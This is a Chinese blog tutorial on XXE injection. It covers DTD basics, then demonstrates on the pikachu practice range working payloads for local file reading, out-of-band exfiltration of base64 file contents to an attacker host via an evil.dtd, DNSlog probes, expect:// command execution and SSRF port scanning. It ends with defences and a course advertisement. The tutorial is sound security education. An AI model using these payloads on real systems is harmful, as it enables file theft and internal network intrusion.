【XML外部实体注入】XXE漏洞分析-优快云博客

XML基础

XML是一种非常流利的标记语言，在解析外部实体的过程中，XML解析器可以根据URL中指定的方案（协议）来查询各种网络协议和服务（DNS，FTP，HTTP，SMB等）。外部实体对于在文档中创建动态引用非常有用，这样对引用资源所做的任何更改都会在文档中自动更新。但是，在处理外部实体时，可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件，这些文件可能包含密码和私人用户数据等敏感信息，或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其它实现缺陷相结合，这些攻击的范围可以扩展到客户端内存损坏，任意代码执行，甚至服务中断，取决于这些攻击的上下文。
XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的元语言。

文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>

DTD

DTD（document type definition，文档类型定义）的作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明，也可以外部引用。

（1）内部的 DOCTYPE 声明
当DTD存在于XML源文件中，由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>

然后XML文件对于DTD的内容进行引用

（2）外部文档声明
从XML文件外部引入DTD：

<!DOCTYPE 根元素 SYSTEM ”文件名”>

文件中存放的是元素声明，以.dtd后缀结尾。

DTD实体

（1）内部实体声明

<!ENTITY 实体名称 ”实体的值”>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里定义元素为ANY说明接受任何元素，但是定义了一个XML的实体（实体其实可以看成一个变量，到时候我们可以在XML中通过&；进行引用）

<a>
<user>&xxe;</user>
<pass>mypass</pass>
</a>

使用&xxe；对上面定义的xxe实体进行了引用，到时候输出的时候&xxe；就会被“test”替换。

（2）外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>或<实体名称PUBLIC"public_ID ""URI">

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

上面将实体分为两个派别（内部实体和外部实体），但是实际上从另一个角度看，实体可以分为另外两个派别（通用实体和参数实体）。

（3）参数实体声明

<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>

三种实体声明方式使用区别：

参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；
其余实体只能在DTD中申明，可在xml文档中引用。

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://ip/remote.dtd">
%an-element; %remote-dtd;

XXE原理

xxe即xml外部实体注入。指xml数据在传输过程中被利用外部实体声明部分修改，导致服务器器执行了被修改的恶意代码，造成了读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE分类

按构造外部实体声明

直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

通过DTD文档引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>

evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d PUBLIC "PUBLIC_ID" "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>

evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

按输出信息

正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息，可直接完成XXE攻击。

报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息，可根据错误信息的不同判断是否注入成功。

盲注XXE

当服务器没有回显，就需要选择使用盲注了。可组合利用file协议来读取文件或http协议和ftp协议来查看日志。

1.查看受攻击机的服务器日志
2.通过Dnslog平台查看是否进行查询
3.Burp Collaborator Everywhere 插件验证

分析原理
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">

payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>

从payload中能看到连续待用了三个参数实体%remote；%int；%send；，这就是我们的利用顺序，%remote；先调用，调用后请求远程服务器上的xxe.dtd，有点类似于将xxe.dtd包含进来，然后%int；调用xxe.dtd中的%file；%file;就会去获取服务器上面的敏感文件，然后将%file；的结果填入到%send；后面（因为实体的值中不能有%，所以将其转换成html实体编码%#37;），我们在调用%send；把我们读取到的数据发送到我们远程VPS上，这样就实现了外带数据的效果，完美解决了XXE无回显的问题。

XXE危害（pikachu靶场演示）

当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。下面会结合pikachu靶场的xxe模块来实战演示。pikachu靶场的xxe是提供了一个接收xml数据的api 。
靶场地址：https://github.com/zhuifengshaonianhanlu/pikachu
直接解压在www路径下即可。
在这里插入图片描述

读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件，还可利用PHP伪协议。
XML在各语言下支持的协议有:
在这里插入图片描述
在实施攻击之前可以简单判断一下是否存在回显数据:

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "菜鸟" > ]> 
<a>&xxe;</a>

可以看到回显了”菜鸟“，说明存在回显。（注意：只能判断是否存在回显，不能判断是否支持外部实体）
在这里插入图片描述

有回显

在知道存在回显后，可以尝试读取一些敏感目录，比如读取c:/windows/win.ini，它是每个windows系统都有的，linux系统的的话可以读取/etc/passwd，当然想要读取其他文件目录，只需更改绝对路径即可（file://协议只能用绝对路径）
payload：

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

在这里插入图片描述
有些XML解析支持列目录，攻击者通过列目录、读文件，获取账号密码后进一步攻击，如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。

无回显

也就是上面所说的盲注xxe。

方法1（服务器日志回显）

这里通过服务器请求包的信息来查看并读取文件。先准备测试环境，我靶场机所在ip为192.168.0.1，然后我使用另一台攻击机192.168.0.11上用python开启一个简单的http服务，在桌面打开终端输入下面命令：

python3 -m http.server 80

在这里插入图片描述
然后在桌面新建一个xxe.dtd文件写入下面内容
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">

192.168.0.1靶机c盘下有一个xxe.txt，当然这里也可以读取其他文件：
在这里插入图片描述
payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>

在这里插入图片描述
在提交数据后页面是什么都没有显示的，回到http服务器上，可以看到刚刚提交数据的请求包信息，xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==

在线base64解密https://base64.us/，成功得到文件内容，具体执行效果前面文章已经介绍过了。
在这里插入图片描述

方法2（查看DNS解析记录）

可以使受攻击服务器访问 DNS解析平台——http://www.dnslog.cn/或http://ceye.io/平台
payload：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://te8sv4.dnslog.cn">
    %d;
]>
<a>&xxe;</a>

说明XML解析成功，访问了te8sv4.dnslog.cn，具有XXE漏洞。
在这里插入图片描述

方法3（利用bp的Collaborator插件验证）

Collaborator插件位于extender模块下的Bapp Store，点击安装即可，在左上角打开Collaborator服务器：
在这里插入图片描述
点击复制到剪切 ,然后更换地址即可：

payload：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">
    %d;
]>
<a>&xxe;</a>

可以看到Collaborator中收到了DNS解析记录和HTTP访问记录：
在这里插入图片描述

查看php源代码

查看php源代码一般用php伪协议php://filter
payload：

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/phpinfo.php"> ]>
<a>&xxe;</a>

在这里插入图片描述
base64解码即可：

远程代码执行

这种情况很少发生，但在配置不当/开发内部应用情况下（PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上），攻击者能够通过XXE执行代码。这里pikachu靶场演示不了。
payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "expect://whoami"> ]>
<user>&xxe;</user>

SSRF联动

XXE可以和SSRF（服务端请求伪造）漏洞（ssrf介绍文章请看：http://t.csdn.cn/fNFpi）一起用于探测其他内网主机的信息，基于http协议。

探测内网端口

可根据返回信息内容的接收响应时间来判断该端口是否打开。这里最好利用burpsuite的intruder模块。
payload：

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:88" > ]> 
<foo>&xxe;</foo>

先抓包，右键发送到intruder模块，然后设置载荷：
在这里插入图片描述

设置payload好后（这里为了方便快捷只探测1-100端口），开始攻击：

这时查看会发现它的响应状态都是200，这并不是所需的结果，需要按照发request包和回response包的间间间隔排序，这里设置一下所选列：
在这里插入图片描述
然后点击一下response received列，按大小排列，可以看到80和88端口接收响应计数为2，响应很快，代表这两个端口是开放的：

探测内网主机

同端口探测一样，可根据返回信息内容的接收响应时间来判断ip是否存在：
payload：

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://192.168.0.11" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述

设置后 payload后开始攻击，查看response received列：

可以看到有192.168.0.11、10主机，对比下nmap扫描网段结果：

探测内网文件

同读取任意文件一样，这里就不演示了。

防御XXE

XXE漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而，要去检验DTD（document type definition）中SYSTEM标识符定义的数据，并不太容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML解析器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为False，XML外部实体攻击就能够被阻止。因此，可将外部实体、参数实体和内联DTD都设置为false，从而避免基于XXE漏洞的攻击。

使用开发语言提供的禁用外部实体的方法

PHP：
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提供的 XML数据

过滤关键字：<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC等。不允许XML中含有自己定义的DTD。

总结

本文只是对xxe漏洞基础学习所做的笔记，简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路，并未更加深入去剖析，感兴趣可以结合多个靶场和工具去实战。

最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

在这里插入图片描述

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。
在这里插入图片描述